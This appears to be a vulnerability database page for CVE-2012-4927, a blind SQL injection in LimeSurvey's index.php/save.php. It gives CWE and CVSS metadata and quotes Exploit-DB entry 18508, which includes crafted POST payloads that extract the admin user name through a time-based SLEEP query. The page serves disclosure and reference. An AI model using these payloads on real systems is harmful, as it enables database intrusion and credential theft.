CVE-2012-4927 : Detail

CVE-2012-4927

SQL Injection
A03-Injection
2.14%V4
Network
2012-09-15
15h00 +00:00
2017-08-28
10h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

SQL injection vulnerability in Limesurvey (a.k.a PHPSurveyor) before 1.91+ Build 120224 and earlier allows remote attackers to execute arbitrary SQL commands via the fieldnames parameter to index.php.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 18508

Publication date : 2012-02-21 23h00 +00:00
Author : TorTukiTu
EDB Verified : No

# Exploit Title: LimeSurvey Blind SQL injection # Date: 20/02/2012 # Author: TorTukiTu - OpenSphere # Version: 1.91+ build 11804 # Tested on: php {cke_protected}{C}{cke_protected}{C} ------------------------------------------------------------------------- # TorTukiTu - Killing Tortoise # ,-"""-. # oo._/ \___/ \ # (____)_/___\__\_) # /_// \\_\ # # Cookie hacking + Blind SQL Injection # The vulnerability occurs when a user answers a survey (index.php). # The session variables can be freely hacked using the following lines in save.php l.82 : # if (isset($_POST[$pf])) {$_SESSION[$pf] = $_POST[$pf];} # if (!isset($_POST[$pf])) {$_SESSION[$pf] = "";} # $pf is user input in the POST variable # once splitted, SQL request is directly build from those sessions variable by function createinsertquery(), # if a special Post variable 'srid' is set both in the variable # 'fieldnames' and as simple POST variable (query l. 715 save.php). # The user can realize blind SQL injections with specially crafted POST variables. # Normal POST variables example: fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003 MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 # Craft POST variables like this : fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C[VALID FIELD ID]` = [SQL INJECTION]--%7Csrid MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 srid=[SOME INTEGER] #Example : Blind SQL user name guessing : fieldnames=17165X6X18SQ001%7C17165X6X18SQ002%7C17165X6X18SQ003%7C17165X6X18SQ004%7C17165X6X18SQ005%7C17165X6X18SQ006%7C17165X6X18SQ007%7C17165X6X18other%7C17165X6X26SQ001%7C17165X6X26SQ002%7C17165X6X26SQ003%7C17165X6X18SQ001` = NULL WHERE id=6 AND id IN ( SELECT IF ( (SELECT SUBSTRING(users_name,1) FROM lime_users WHERE uid=1) LIKE 'a%', 1, SLEEP(5)))--%7Csrid MULTI17165X6X18=8 tbdisp17... ... start_time=1329742665 srid=42 -------------------------------------------------------------------------

Products Mentioned

Configuraton 0

Limesurvey>>Limesurvey >> Version *

Limesurvey>>Limesurvey >> Version To (including) 1.90\+

Limesurvey>>Limesurvey >> Version 1.5.2

    Limesurvey>>Limesurvey >> Version 1.49

      Limesurvey>>Limesurvey >> Version 1.49

        Limesurvey>>Limesurvey >> Version 1.49_rc2

          Limesurvey>>Limesurvey >> Version 1.52

          Limesurvey>>Limesurvey >> Version 1.70

          Limesurvey>>Limesurvey >> Version 1.80

          Limesurvey>>Limesurvey >> Version 1.80

            Limesurvey>>Limesurvey >> Version 1.80\+

            Limesurvey>>Limesurvey >> Version 1.81

            Limesurvey>>Limesurvey >> Version 1.81\+

            References

            http://www.securityfocus.com/bid/52114
            Tags : vdb-entry, x_refsource_BID
            http://www.exploit-db.com/exploits/18508
            Tags : exploit, x_refsource_EXPLOIT-DB
            http://secunia.com/advisories/48051
            Tags : third-party-advisory, x_refsource_SECUNIA
            http://osvdb.org/79459
            Tags : vdb-entry, x_refsource_OSVDB